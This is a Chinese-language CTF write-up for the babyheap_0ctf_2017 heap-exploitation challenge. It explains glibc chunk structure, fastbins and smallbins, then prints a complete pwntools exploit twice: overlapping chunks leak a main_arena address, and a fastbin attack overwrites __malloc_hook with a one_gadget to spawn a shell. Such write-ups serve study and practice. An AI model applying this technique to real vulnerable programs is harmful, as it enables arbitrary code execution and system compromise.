题目地址: https://buuoj.cn/challenges#babyheap_0ctf_2017

本题为 64 位,以下内容以64位为例

信息收集

  • 弄到题目文件先 checksec

  • 保护全开,那必然就要想办法泄漏出 libc 基地址的偏移量来实现调用其他函数

  • 先逆向一下文件,对于 main 函数大概的构造情况如下

  • 对于 allocate 函数,里面用户输入 size 后根据其大小进行内存分配

  • 这里使用了 calloc函数,其与malloc不同的是分配内存后会把数据区域全部置0

  • 对于 fill 函数,用户提供需要修改的堆块的 index和需要改的size,然后根据size来读取用户输入

  • 问题就出在这个 size 可以由用户输入,那么可以任意构造 size,实现伪造堆块的效果

  • 对于 free 函数,就是将堆块 free 了

  • 对于 dump 函数,会根据堆块的大小显示出堆块中的内容

修改 libc 版本

  • 由于这题使用的 libc 版本是 ubuntu 16 的,但是因为目前只有 ubuntu 20 的调试机,因此需要修改 libc 版本

  • 使用 patchelf 修改解释器和 libc 文件

  • patchelf在 github可以下到

  • libc文件在glibc-all-in-one有,不过不是buuoj的libc,偏移量不一样

bi0x@ubuntu:~/ctf$ patchelf --set-interpreter /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 ./babyheap_0ctf_2017 
bi0x@ubuntu:~/ctf$ patchelf --set-rpath /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/:/libc.so.6 ./babyheap_0ctf_2017 
bi0x@ubuntu:~/ctf$ ldd ./babyheap_0ctf_2017 
	linux-vdso.so.1 (0x00007fff8ddd4000)
	libc.so.6 => /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6 (0x00007f42c487f000)
	/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f42c4e52000)

实施攻击

先根据题目情况构造好交互函数

from pwn import *

is_debug = 1
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null

def debug(sh):
    if is_debug == 0:
        gdb.attach(sh)
    return

def conn(s, port = 28960):
    global libc
    global onegg_offset
    if s == 0:
        libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
        onegg_offset = 0x4527a
        return process('./babyheap_0ctf_2017')
    else:
        libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
        onegg_offset = 0x4526a
        return remote('node3.buuoj.cn', port)

def allocate(size):
    io.sendlineafter("Command:", '1')
    io.sendlineafter("Size:", str(size))

def fill(index, content):
    io.sendlineafter("Command:", '2')
    io.sendlineafter("Index:", str(index))
    io.sendlineafter("Size:", str(len(content)))
    io.sendafter("Content:", content)

def free(index):
    io.sendlineafter("Command:", '3')
    io.sendlineafter("Index:", str(index))

def dump(index):
    io.sendlineafter("Command:", '4')
    io.sendlineafter("Index:", str(index))

申请堆块

  • 构造几个堆块以待使用

  • 这里需要注意的一个点是必须构造有一个 0x60 大小的堆块,我把它构造在了最后一个

  • 具体原因在后续的堆块构造会提到

io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4

假设以 x/ABgx 的形式来查看内存,这时候程序堆上的内容如下

堆块结构分析

  • 对于每一个堆块,其会多占用大小 0x10 内容来存储 chunk 的信息,其位于分配地址 - 0x10

  • 假设我们 malloc 了一个 n * 8大小的堆块,其堆结构如下

#Prev_size(被释放才存)#Size + [ A M P ]
#此堆块存储的数据1#此堆块存储的数据2
............
#此堆块存储的数据n-1#此堆块存储的数据n
  • 操作系统在分配堆块的时候,会把堆块的大小向上对齐两倍的机器字长,且堆块最小大小为 0x20

  • 比如这里分配一个 0x10 的堆块,和分配 0xE 大小的堆块最后占用的内存大小都是 0x20

  • 对于 0xE,其先对齐到 0x10,再在前面加上堆信息块

  • 这里会发现一个问题

  • 对于32位的堆块来说,其低3位一定不会被占用

  • 对于64位的堆块来说,其低4位一定不会被占用

  • 因此堆块的低3位必然可以用来存储其他数据,对这三位标注为 [ A | M | P ]

  • 这里的最后一位表示 Prev_in_use,也就是前一个堆块是否被使用

  • 对于fast 大小的堆块(大小在0x20~0x80之间,包括数据块大小),其被 free 后P位仍然为1

  • 这是为了小内存的再次利用,其使用 fastbins 来存储被 free 的小堆块

  • fastbins 的实际结构是一个单链表数组,其由 8 个 fastbin 构成,每一个对应一种 fast 大小的堆块

另外这里还有一个知识点,就是对于 small 大小的堆块,其被free后会放进 smallbins 里

  • smallbins 的实际结构是一个双向循环链表数组,其由 62 个 smallbin 组成

  • 这里的 0x80的堆块被free后就会放进smallbin,因为其大小是0x90

  • 对于被 free 的small大小的堆块,其free后堆块结构如下

#Prev_size#Size
#FD指针,指向前一个free的同大小堆块#BK指针,指向后一个free的同大小堆块
......(后续是之前这个堆块的数据)......
  • 这里有一个很重要的点,对于某一个大小的 small chunk,其首个 free 掉的 chunk 会指向 main_arena 上的固定地址

  • main_arena 为主线程申请的内存快

  • 那么我们就可以通过越界写伪造堆块来 free,然后通过共用的内存泄漏出 main_arena的地址

  • 进而可以泄漏 libc 的基地址

泄漏 Main_arena 地址

  • 首先我们通过越界写来伪造出一个能访问到下一块内存的堆块和一个假的 small chunk
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))

  • 这时候的堆内存变成如下结构,其中浅绿为 id1 堆块修改后的占用区

  • 很明显的可以看见,id1 的后几块内存共用了id2 的内存

pasted-61.png

  • 注意需要在伪造的 id1 chunk 下方的 chunksize 处伪造一个符合堆块要求的 size,比如这里伪造了一个 0x91

  • 在 free 的时候 libc 会检查这个大小是否符合 chunk 要求,小于两倍的 SIZE_SZ 或大于 system_mem 将报错

  • 由于 dump 的时候会根据原先分配的大小进行 dump

  • 因此我们要把 id1 的堆块 free 掉,然后在 allocate 一个 0x40 大小的堆块,这样对于 id1 来说,我们能控制到的就是 0x40 个字节了

free(1)
allocate(0x40)
  • 之前提到过,第一个被释放的 small chunk 其fd和bk指针会指向 main_arena 的固定偏移处

  • 因此我们可以通过伪造 small chunk,来获取fd指针

fill(1, p64(0) * 3 + p64(0x91))
free(2)
io.recv()
dump(1)
io.recvuntil("Content:") 
  • 这时候就可以通过id1和id2共用的堆块把 main_arena 的地址泄漏出来了

  • 在 main_arena - 0x10 处,存储的是 malloc_hook 指针

  • 当 malloc_hook 指向某一个函数的时候,malloc 时优先会调用这个函数

  • 如果我们能在 malloc_hook 处伪造一个堆块,然后通过 malloc 来申请到这个伪造堆块

  • 之后通过往堆块里写数据实现修改 malloc_hook 指向的值,把它指向 one_gadget 实现 getshell

#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------

这里涉及到一个关于 fastbin 的知识,当 fast chunk 被释放的时候,其会被放入对应大小的 fastbin 里

  • 比如把一个 malloc(0x40) 出来的堆块 free 掉,其会放到 fastbin[0x50] 中,因为包括一个0x10的堆块信息位

  • 同时 fastbin 的结构是 LIFO 的,也就是最后 free 的最先使用,其通过维护 free 后堆块的fd指针来维护单链表结构

  • 也就是在 free 掉 0x50 大小的堆块1,再 free 0x50 大小的堆块2后

  • 第一次 malloc(0x40) 时返回的是堆块2,在 malloc 的时候,fastbin 会根据堆块2的fd指针找到堆块1,然后从 bin 中删除堆块2

  • 可以发现一个问题,如果我们能修改free掉的堆块2数据中的fd指针,把它指向一个我们想要的地方,那就可以实现任意写了

  • 这里需要注意的一点是,我们把fd指针修改到的伪造堆块处,其 chunksize 必须符合此 fastbin 的大小

  • 这里有一个很巧妙的点,我们来看 malloc_hook_addr - 0x23 的地方

去掉与堆块大小无关的低4位数据,其符合0x70大小的fast chunk 要求

  • 只要我们把一个 free 掉的 malloc(0x60) 的堆块的fd指针修改到这里,然后把这个堆块申请出来

  • 填入0x13个无关字符,再填入 one_gadget,其就修改了 malloc_hook 指向的函数了
#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------
  • 尝试 getshell
#* --------------- get shell ---------------
allocate(1)
io.interactive()
  • 完整脚本
from pwn import *
import time

is_debug = 0
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null

def debug(sh):
    if is_debug == 0:
        gdb.attach(sh)
    return

def conn(s, port = 28960):
    global libc
    global onegg_offset
    if s == 0:
        libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
        onegg_offset = 0x4527a
        return process('./babyheap_0ctf_2017')
    else:
        libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
        onegg_offset = 0x4526a
        return remote('node3.buuoj.cn', port)

def allocate(size):
    io.sendlineafter("Command:", '1')
    io.sendlineafter("Size:", str(size))

def fill(index, content):
    io.sendlineafter("Command:", '2')
    io.sendlineafter("Index:", str(index))
    io.sendlineafter("Size:", str(len(content)))
    io.sendafter("Content:", content)

def free(index):
    io.sendlineafter("Command:", '3')
    io.sendlineafter("Index:", str(index))

def dump(index):
    io.sendlineafter("Command:", '4')
    io.sendlineafter("Index:", str(index))

io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4

#? --------------- leak libc ---------------
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))

free(1)
allocate(0x40)

fill(1, p64(0) * 3 + p64(0x91))
free(2)

io.recv()
dump(1)
io.recvuntil("Content:")
#? --------------- leak libc end ---------------


#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------


#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------


#* --------------- get shell ---------------
allocate(1)
io.interactive()